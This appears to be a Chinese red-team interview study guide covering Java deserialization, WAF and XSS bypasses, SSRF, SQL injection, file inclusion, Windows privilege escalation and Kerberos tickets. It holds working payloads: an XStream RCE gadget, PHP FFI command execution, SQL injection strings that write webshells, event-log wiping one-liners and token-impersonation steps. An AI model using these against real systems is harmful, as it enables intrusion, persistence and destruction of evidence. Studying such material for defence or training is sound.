红队面试题精选

约 81 分钟读完

红队

反弹shell

https://zhuanlan.zhihu.com/p/138393396

https://www.anquanke.com/post/id/87017

OWASP TOP 10

https://blog.csdn.net/fly910905/article/details/120541498

https://www.cnblogs.com/zhijiya/p/15142003.html

shiro反序列化

https://www.cnblogs.com/xiaozi/p/13239046.html

shiro在路径控制的时候,未能对传入的url编码进行decode解码,导致攻击者可以绕过过滤器,访问被过滤的路径

反序列化

aes key泄露 版本<1.2.4 key都为默认key rememberMe字段,使用密钥构造一个payload最后在不断地解密后到达readobject()

访问http://127.0.0.1/admin 的时候,页面返回403。因此可以确定admin路径是属于被过滤路径。此时使用burp截断,然后在访问路径的最后添加%2f,既可绕过shiro检测。因为对于浏览器来说%2f会被自动编码为/,但是burp截断之后进入shiro,shiro未对其解码,所以可以绕过。

shiro加密先是序列化字符串 然后通过硬编码的aeskey进行加密,最后base64加密

shiro反序列化的漏洞特征:

cookie里有remenberme=deleteme

shiro721由于aes/cbc加密导致会被padding oracle攻击

shiro 注入内存马

Tomcat 获得ServletContext对象

1.在jsp文件自带的变量 落地 不隐蔽

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

2.从Thread.currentThread()里面找

    WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

3.从JMXMBeanServerdomainTb下面直接获取

linstener filter servlet 都会用到AbstractTranslet TemplatesImpl正好继承 因为反序列化在加载字节码执行命令之前会验证相关类是否为AbstractTranslet

Request header is too large问题解决

  • 1.改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小 而这篇文章里面也说明了,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问
  • 2.把恶意代码放在POST包的body里面
  • 缩短字节码

tomcat 8/9

linstenr 可以再

tomcat7

org.apache.catalina.core.ContainerBase

查杀使用打开JvisualVM(需安装MBean插件) 找到catalina/filter节点 检查是否存在我们不认识的、没有在web.xml中配置或filterClass为空的Filter

绕waf的三种方法

1.未知请求方法 首先 第一步,先构造出先绕WAF,哪怕改成不合法的数据包。第二步,在绕WAF的数据包基础上修正,让后端中间件可以解析。 适用于Filter和Listener层

2.添加脏数据

List<Object> arrayList = new ArrayList<Object>();
arrayList.add(dirtyData); // 脏数据
arrayList.add(gadget);	// gadget
new ObjectOutputStream(new FileOutputStream("/tmp/bypass-waf.ser")).writeObject(arrayList);

3.通过消耗waf的性能 把Content-Length删除,分块传输不需要发送body长度,然后加上Transfer-Encoding: chunked头。

WAF一般是如下应对分块传输的。

  1. 发现数据包是分块传输,启动分块传输线程进行接收
  2. 分块传输线程不断接收客户端传来的分块,直到接收到0\r\n\r\n
  3. 将所有分块合并,并检测合并之后的内容。

weblogic

weblogic端口 7001

xmldecoder漏洞

weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

影响版本jdk1.4-jdk11

weblogic T3反序列化历史漏洞

Weblogic利用T3协议反序列化,大多数是利用类封装恶意类绕过补丁(resolveClass).

weblogic版本的探测

t3 10.3.6
AS: 255
HL: 19

如果没有抓到就是t3协议未启用或者做了负载均衡

CVE-2015-4852

简答---利用t3协议通信反序列化CC链

漏洞出现在WLS Security组件,允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。

调用链如下

InboundMsgAbbrev.readObject() -> ... -> AnnotationInvocationHandler.readObject() -> AnnotationInvocationHandler.invoke() -> LazyMap.get() -> .... -> Runtime.exec()

CVE-2016-3510

这一次exp选择了weblogic.corba.utils.MarshalledObject进行绕过修复补丁

CVE-2017-3248

利用了JRMP Java远程方法协议。利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,最终将加载的内容利用readObject()进行解析,导致之前序列化的恶意代码执行

CVE-2017-3248

MarshalledObject+JRMP

Apache Commons Colletions基础漏洞修复,与CVE-2016-3510利用相同不过恶意类替换为JRMP,利用java.rmi.registry.Registry.

CVE-2018-2628

MarshalledObject+JRMP

java.rmi.registry.Registry替换为java.rmi.activation.Ac-tivator,绕过resolveProxyClass判断

CVE-2018-2893

CVE-2017-0638 + CVE-2017-3248即StreamMessageImpl中封装JRMPClient

CVE-2021-2394

是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

xstream反序列化

XStream是Java类库,可以将对象序列化为XML格式或将XML反序列化为对象

XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc.exe</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

绕过方法

标签属性绕过

<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor serialization="custom">

custom 进行html编码

<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor serialization="custom">

标签内容绕过

1.将标签内容html编码

ldap://xxxxx ldap://xxxxx

2.注释绕过

ldap://xxxxx

Java主要依据函数:

ObjectOutputStream类的writeObject(Object obj)

ObjectOutputStream类的readObject(Object obj)

Bypass_disablefuntion

https://www.cnblogs.com/tr1ple/p/11213732.html

binary工具

通过攻击 PHP-FPM

使用条件

Linux 操作系统

PHP-FPM

存在可写的目录,需要上传.so文件

利用 LD_PRELOAD 环境变量

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库

利用 FFI 扩展执行命令

使用条件:

Linux 操作系统

PHP >= 7.4

开启了 FFI 扩展且ffi.enable=true

利用FFI调用C库的system函数

create_function&fights=&invincibly=;}$ffi = FFI::cdef("int system(const char command);");$ffi->system("ls / > /tmp/res.txt");echo file_get_contents("/tmp/res.txt");/

利用FFI调用C库的popen函数

create_function&fights=&invincibly=;}$ffi = FFI::cdef("void popen(char,char*);void pclose(void*);int fgetc(void*);","libc.so.6");$o = $ffi->popen("ls /","r");$d = "";while(($c = $ffi->fgetc($o)) != -1){$d .= str_pad(strval(dechex($c)),2,"0",0);}$ffi->pclose($o);echo hex2bin($d);/*

利用FFI调用PHP源码中的函数

create_function&fights=&invincibly=;}$ffi = FFI::cdef("int php_exec(int type, char cmd);");$ffi->php_exec(3,"ls /");/

Fastjson反序列化漏洞利用原理和POC

Fastjson反序列化漏洞被利用的原因,可以归结为两方面:

Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名; Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。

fastjson分为rmi ldap打法

不出网环境使用 bcel 或者c3p0

目前流传为三条链子

1.TemplatesImpl (常规字节码 需要开启Feature.SupportNonPublicField)

2.JdbcRowSetImpl(目标没外网的情况下无法直接利用)jdk8u191之后不可用

3.BasicDataSource(BasicDataSourcetoString()方法会遍历这个类的所有getter并执行调用到了createConnectionFactory方法,代码中存在class.forname driverclassname和driverclassloader都可以被控制 写进恶意类就可以执行其中的static{}代码) jdk8u251之后不可用

BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

ClassLoader#loadClass()中,其会判断类名是否是$BCEL$开头,如果是的话,将会对这个字符串进行decode

fastjson探测版本号

JavaBeanDeserializer 主要有两种方法可以触发。

  • \1) 当代码使用 JSON.parseObject(json , clazz) 指定期望类的方式去解析 JSON,且 clazz 不能为 fastjson 已设定的大部分类型,如“Hashmap”、“ArrayList”
  • \2) 当使用 JSON.parse(json) 不指定期望类的时候可以通过 AutoCloseable 来触发
  • ["test":1]

java内存马

工具使用 java memshellscanner jsp页面查杀 arthas 终端运行查杀

如果是jsp注入,日志中排查可疑jsp的访问请求。

如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法

根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。

如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200

javaagent内存马总体来说就是可以使用 Instrumentation 提供的 retransform 或 redefine 来动态修改 JVM 中 class 的一种字节码增强技术,可以直接理解为,这是 JVM 层面的一个拦截器。

javaagent 有两种方法 premain()和agentmain() premain()在jdk1.5之后被引入 agentmain在jdk1.6之后被引入 区别在于 premain()要在项目启动之前使用 agentmain()可以在运行的时候载入

javaagent内存马查杀 jvm提供的sa-jdi.jar JVM 监控工具的api tools-class broswer查看被修改的类 通过retransformClass方法重新定义类 查杀工具copagent

jndi高版本注入

jndi8u191之后 由于tomcat8下带了个el包 所以可以调用来进行命令执行 同时这个方法也被用于c3p0中 成为了第四条链子

如何查看区分是扫描流量和手动流量

扫描器ua有特征

cobaltstrike马特征

看ip端口 50050 看文件的证书 fofa上搜

红队打点图

img

清除日志

wevtutil+for循环清除所有日志 #

for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"+

ps批量删除日志

PS C:> wevtutil el | Foreach-Object {Write-Host "Clearing $"; wevtutil cl "$"}

域内主机端口探测

nc -vv ip fscan -h 192.168.7.7 -p 22,445

主机存活探测

ping

使用 ping 进行检测的优点是不容易触发检测规则,缺点是速度较慢,如果目标开启了禁止 ping 的策略,那这个方法就 gg 了。

Windows #

for /l %i in (1,1,255) do @ping 192.168.7.%i -w 1 -n 1|find /i "ttl="

C:\Users\daniel10>for /l %i in (1,1,255) do @ping 192.168.7.%i -w 1 -n 1|find /i "ttl=" 来自 192.168.7.7 的回复: 字节=32 时间<1ms TTL=128 来自 192.168.7.107 的回复: 字节=32 时间=1ms TTL=64 来自 192.168.7.110 的回复: 字节=32 时间<1ms TTL=128

LINUX

for k in $( seq 1 255);do ping -c 1 192.168.7.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

teamssix@localhost:~# for k in $( seq 1 255);do ping -c 1 192.168.7.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

使用工具

sqlmap

-v	#共7个级别(0~6),默认为1
#可以用 -vv 代替 -v 2,推荐使用这种方法
  • 0:只输出 Python 出错回溯信息,错误和关键信息

  • 1:增加输出普通信息和警告信息

  • 2:增加输出调试信息

  • 3:增加输出已注入的 payloads

  • 4:增加输出 HTTP 请求

  • 5:增加输出 HTTP 响应头

  • 6:增加输出 HTTP 响应内容

    -u URL
    -l	#从Burp代理日志文件中解析目标地址
    -m	#从文本文件中批量获取目标
    -r	#从文件中读取 HTTP 请求
-p TESTPARAMETER	#指定需要测试的参数
--skip=SKIP			#指定要跳过的参数
--dbms=DBMS			#指定 DBMS 类型(例如:MySQL)
--os=OS				#指定 DBMS 服务器的操作系统类型
--prefix=PREFIX		#注入 payload 的前缀字符串
--suffix=SUFFIX		#注入 payload 的后缀字符串
--tamper=TAMPER		#用给定脚本修改注入数据
-a, --all          #获取所有信息、数据
-b, --banner        #获取 DBMS banner,返回数据库的版本号
--current-user			#获取 DBMS 当前用户
--current-db			#获取 DBMS 当前数据库
--hostname				#获取 DBMS 服务器的主机名
--is-dba				#探测 DBMS 当前用户是否为 DBA(数据库管理员)
--users					#枚举出 DBMS 所有用户
--passwords				#枚举出 DBMS 所有用户的密码哈希
--privileges			#枚举出 DBMS 所有用户特权级
--roles					#枚举出 DBMS 所有用户角色

--dbs					#枚举出 DBMS 所有数据库
--tables				#枚举出 DBMS 数据库中的所有表
--columns				#枚举出 DBMS 表中的所有列
--schema				#枚举出 DBMS 所有模式
--count					#获取数据表数目
--dump					#导出 DBMS 数据库表项
--stop 10				#只取前10行数据
    
-D DB					#指定要枚举的 DBMS 数据库
-T TBL					#指定要枚举的 DBMS 数据表
-C COL					#指定要枚举的 DBMS 数据列
使用实例image-20220117124326432
--os-shell

image-20220117124400442

udf提权

image-20220117124458397

nmap

nmap -T4 -A -v -Pn IP	
#最常用的一种扫描

-T4		#设置时序,越高扫描越快
-A		#启用操作系统检测,版本检测,脚本扫描和跟踪路由
-v		#增加详细级别(使用-vv或更高级别以获得更好的效果)
-Pn		#无ping扫描
#Scan Types 指探测类型:
-PS 指 TCP SYN Ping,
-PA 指 TCP ACK Ping,
-PU 指 UDP Ping
-PE 
#ICMP Ping,现在很多主机封锁这些报文,适用于管理员监视内部网络

#Options 指探测选项:
-n 指不对活动的 IP 地址进行反向域名解析,用以提高扫描速度
-R 指对活动的 IP 进行反向域名解析

#target specification 指探测的目标地址或 IP 地址范围
192.168.0.1-255
nmap -sP 192.168.0.1-255	#ping扫描,只列出存活主机,速度最快
nmap -Pn 192.168.0.1-255	#无ping扫描,结果和默认主机发现一样
open(开放的)

应用程序正在该端口接收TCP 连接或者UDP报文。

closed(关闭的)

关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应), 但没有应用程序在其上监听。

filtered(被过滤的)

由于包过滤阻止探测报文到达端口, Nmap无法确定该端口是否开放。

过滤可能来自专业的防火墙设备,路由器规则 或者主机上的软件防火墙。

unfiltered(未被过滤的)

未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。

只有用于映射防火墙规则集的ACK扫描才会把端口分类到这种状态。

用其它类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮助确定 端口是否开放。

open|filtered(开放或者被过滤的)

当无法确定端口是开放还是被过滤的,Nmap就把该端口划分成 这种状态。

开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃 了探测报文或者它引发的任何响应。

因此Nmap无法确定该端口是开放的还是被过滤的。 UDP,IP协议, FIN,Null,和Xmas扫描可能把端口归入此类。

closed|filtered(关闭或者被过滤的)

该状态用于Nmap不能确定端口是关闭的还是被过滤的。 它只可能出现在IPID Idle扫描中

XSS

image-20211209174801984

可能触发DOM型XSS的属性

document.referer属性、window.name属性、location属性、innerHTML属性、documen.write属性

绕过方式

Unicode转义

<script>a\u006cert(1)</script>

1

如果能够使用eval命令,就能够将其它命令以字符串的格式传送给eval,从而执行其它 命令。

<script>eval('a\u006cert(1)');</script>

替代圆点

<script>alert(document['cookie'])</script>
<script>with(document)alert(cookie)</script>

通用防御:

(1) 特殊字符HTML实体转码。最好的过滤方式是在输出和二次调用的时候进行加HTML实体一类的转码,防止脚本注入。

(2) 标签事件属性黑名单。特殊字符容易被绕过,所以还得加标签事件得黑名单或者白名单,这里推荐使用白名单的方式,实现规则可以直接使用正则表达式来匹配,如果匹配到的事件不在白名单列表,就可以直接拦截,而不是过滤为空

httponly情况下绕过

1.phpinfo 页面$_SERVER[“HTTP_COOKIE”]会打印出具有httponly属性的cookies 2.iframe钓鱼这一类 3.跳转钓鱼 4.通过js伪造一个登录表单,有的浏览器保存密码会自动填入 5.通过xss获取后端页面源码,有时候可以发现一些越权访问,或者配合CSRF打组合拳去添加新用户或者执行其他的功能,以及通过审计后台js发现一些漏洞 6.通过xss伪造oauth等搞一个oauth劫持

1.如果csp头有 unsafe-inline 可以利用页面预加载,比如<linkrel='prefetch'href='imghttp://xxxx/x.jpg'> 2.利用url跳转可以回避严格的CSP 3.利用上传文件,比如csp禁⽌跨站读取脚本,但是可以跨站读img,那么传⼀个 含有脚本的img,再,这⾥csp认为是⼀个img,绕过了检查,如果⽹站没有回正确的mime type,浏览器会进⾏猜测,就可能加载该img作为脚本

SSRF

SSRF漏洞(服务器端请求伪造):是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。

SRF漏洞原理:

  SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。SSRF是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

SSRF漏洞利用手段:

  1.可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);

  2.攻击运行在内网或本地的有漏洞程序(比如溢出);

  3.可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹;

  4.攻击内网或外网有漏洞的Web应用;

  5.使用file:///协议读取本地文件(或其他协议)

  http://www.xingkonglangzi.com/ssrf.php?url=192.168.1.10:3306

  http://www.xingkonglangzi.com/ssrf.php?url=file:///c:/windows/win.ini

CSRF

CSRF

跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任

跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的

PHP反序列化

https://www.freebuf.com/articles/web/221213.html

PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

魔术方法:

__wakeup() //使用unserialize时触发 当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124) __sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发

中间件漏洞

https://blog.csdn.net/bylfsj/article/details/102683791

(一) IIS

1、PUT漏洞

2、短文件名猜解

3、远程代码执行

4、解析漏洞

(二) Apache

1、解析漏洞

2、目录遍历

(三) Nginx

1、文件解析

2、目录遍历

3、CRLF注入

4、目录穿越

(四)Tomcat

1、远程代码执行

2、war后门文件部署

(五)jBoss

1、反序列化漏洞

2、war后门文件部署

(六)WebLogic

1、反序列化漏洞

2、SSRF

3、任意文件上传

4、war后门文件部署

(七)其它中间件相关漏洞

1、FastCGI未授权访问、任意命令执行

2、PHPCGI远程代码执行

SQL注入

一:什么是sql注入**

  SQL注入是比较常见的网络攻击方式之一,在web应用程序跟数据库有交互的地方,对用户输入数据的合法性没有判断或过滤不严,攻击者可以在这个查询语句的结尾上添加额外的SQL语句,从而实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

如何利用:

​ 1:寻找到SQL注入点

  2:判断服务器类型和后台数据库类型

  3:针对不同的服务器和数据库特点进行SQL注入攻击

sql 注入 的分类?

Boolean 盲注、Union 注入、报错注入{ floor 报错注入、ExtractValue 报错注入、 UpdataXml 报错注入} 、时间盲注、宽字节注入、堆叠注入、二次注入、User-Agent 注入、Cookie 注入、过滤绕过、万能密码

如何防御SQL注入

​ 注意:但凡有SQL注入漏洞的程序,都是因为程序要接受客户端用户输入的变量或URL传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或传递的参数,进行严格的过滤,从变量的检测、过滤、验证下手,确保变量都是安全的。

过滤时代替函数

regexp 代替 =、in、like

字符:

空格 <--> %20、%0a、%0b、/**/、 @tmp:=test and <--> or '=' <--> 'like' <--> 'in' --> 'regexp' <--> 'rlike' --> '>' <--> '<'

@tmp:=test只能用在select关键字之后,等号后面的字符串随意

函数:

字符串截断函数:left()、mid()、substr()、substring() 取ascii码函数:ord()、ascii()

sql盲注的几种姿势

带!的注入

!! 会将执行语句转化为布尔类型 然后进行取反

false=true!

xor注入

设置前后两句为真 中间为假

order by注入

和union select 一起使用

between and 注入
if注入

SQL写入webshell:

一个MySQL注入点写入Webshell,需要满足哪些条件呢?简单来说,需要了解secure_file_priv是否支持数据导出、还有当前数据库用户权限,当然,root用户数据库的全部权限,但写入Webshell 并不需要一定是root用户

1、利用Union select 写入

这是最常见的写入方式,unionselect into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符写入

Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP--os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQLlog文件来获取Webshell

具体权限要求:数据库用户需具备SuperFile服务器权限、获取物理路径。

show variables like '%general%';             #查看配置
set global general_log = on;                 #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php eval($_GET[g]);?>'             #写入shell
set global general_log=off;                  #关闭general log模式

文件上传

.htaccess AddType application/x-httpd-php .Le1a

.user.ini auto_prepend_file=1.jpg

客户端检测绕过(js检测): 禁用js或使用burp抓包

阿帕奇解析漏洞:APACHE遇到无法识别后缀,会往左继续识别。能识别出PHP就解析为PHP

nginx解析漏洞:该漏洞与nginx、php版本无关,属于用户配置不当造成的解析漏洞。127.0.0.1/2.jpg/a.php,由于a.php并不存在,就会向前解析,把2.jpg解析为php文件

IIS解析漏洞:我们可以上传图片马,然后在后面加上.php 或者1.php。可以被解析成PHP文件。

Content-Type类型绕过 image/jpg

前端js绕过,黑白名单绕过,路径截断、普通截断绕过,文件类型绕过系统解析漏洞绕过,中间件解析漏洞绕过等等)

文件包含

0x01:文件包含漏洞

服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

这也算官方的解释吧,用个人的话说,通过浏览器、url地址或者是一个参数的变量的内容,可以通过修改这些url或者参数变量的内容,读取到web根目录以前其他文件,但是不同于目录浏览,目录浏览是可以通过浏览器直接显示www目录下每一个文件的名称,把目录列表给列出来。

文件包含协议

file:// php:// data:// (从php5.2.0起)条件(allow_url_fopen:on allow_url_include :on) phar:// php>=5.3

img

包含日志getshell

/var/log/auth.log /var/log/apache2/access.log

包含environ

利用条件:

php以cgi方式运行,这样environ才会保持UA头。

environ文件存储位置已知,且environ文件可读。

姿势:

/proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到中。之后再包含它即可。

包含fd文件

/proc/self/fd/ 最后有可能是数字

包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是

配合phpinfo页面的php variables

,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

文件包含漏洞相关知识总结 https://blog.51cto.com/u_15288375/2983956

其他包含姿势

包含stmp日志

包含xss

包含上传文件

文件包含漏洞的截断

zip和phar协议

url ?和%23

php版本小于5.3.4

magic_quotes_gpc为off状态

路径长度的截断

要求

php版本小于5.2.8

操作系统文件长度限制

windows 259个bytes

linux 4096个bytes

文件包含漏洞形成原因

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,

但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

redis利用

未授权访问

主从复制

ssh写入

利用 redis 将powershell文件写入bat到启动项反弹 shell

利用mshta.exe写入启动项

XXE

XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞。XXE扩大了攻击面。

当允许引用外部实体时,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

防御方法:禁用外部实体(PHP:可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体)

xml基础结构

img

DTD 的作用:1. 定义元素(其实就是对应 XML 中的标签);2. 定义实体(对应XML 标签中的内容)

假如 DTD 位于 XML 源文件的外部,那么可以通过引用【外部文档说明】的方式,效果同上:

img

无回显使用vps进行渗透

内网渗透

venom工具的使用 https://blog.csdn.net/u011215939/article/details/103403545

Proxifier代理的使用

域(Domain)是一个有安全边界的计算机集合(安全边界意思是在两个域中,一个域中的用户无法访问另一个域中的资源),可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,必须拥有一个合法的身份登陆到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。

提权

WINDOWS提权:

https://www.cnblogs.com/-mo-/p/12718115.html

提权可分为纵向提权与横向提权:

纵向提权:低权限角色获得高权限角色的权限;

横向提权:获取同级别角色的权限。

Windows常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等

系统内核溢出漏洞提权

此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。

下面是几个方便查找相应补丁漏洞的辅助查询页面:

Copyhttps://github.com/ianxtianxt/win-exp-
https://github.com/SecWiki/windows-kernel-exploits
Copy#手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

#MSF后渗透扫描
post/windows/gather/enum_patches

#Powershell扫描
Import-Module C:\Sherlock.ps1
Find-AllVulns

系统配置错误提权

#Empire内置模块
usemodule privesc/powerup/allchecks
execute

系统服务权限配置错误

Windows在系统启动时,会伴随着一些高权服务启动,倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持

实现方法可借助:

Copy1.Powershell中的PowerUp脚本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

2.Metasploit中的攻击模块   #需要提前获取一个session
exploit/windows/local/service_permissions

令牌窃取

Copy#已经获取到一个session
#方法一
meterpreter > use incognito
......
meterpreter > list_tokens -u
WIN-2HU3N1\Administrator
meterpreter > impersonate_token WIN-2HU3N1\\Administrator  #注意:这里是两个反斜杠\\
Successfully......
meterpreter > shell

C:\User\Administrator>whoami
WIN-2HU3N1\Administrator
Copy#方法二,借用Rotten potato程序
https://github.com/foxglovesec/RottenPotato.git
meterpreter > use incognito
meterpreter > list_tokens -u
WIN-2HU3N1\Administrator
meterpreter > upload /root/Rottenpotato/rottenpotato.exe
Successfully
meterpreter > execute -HC -f rottenpotato.exe
Successfully
meterpreter > getuid
...NT AUTHORITY\SYSTEM

常用系统漏洞CVE

Copy#Windows10
CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html

#Windows7/2008
CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html

#Windows7/8、2008/2012/2016
CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html

#SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)
MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075

黄金票据

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

不需要与AS进行交互,需要用户krbtgt的Hash

伪造金票的所需条件 1、域名称 2、域的SID值 3、域的KRBTGT账号的HASH 4、伪造任意用户名

白银票据

伪造的ST
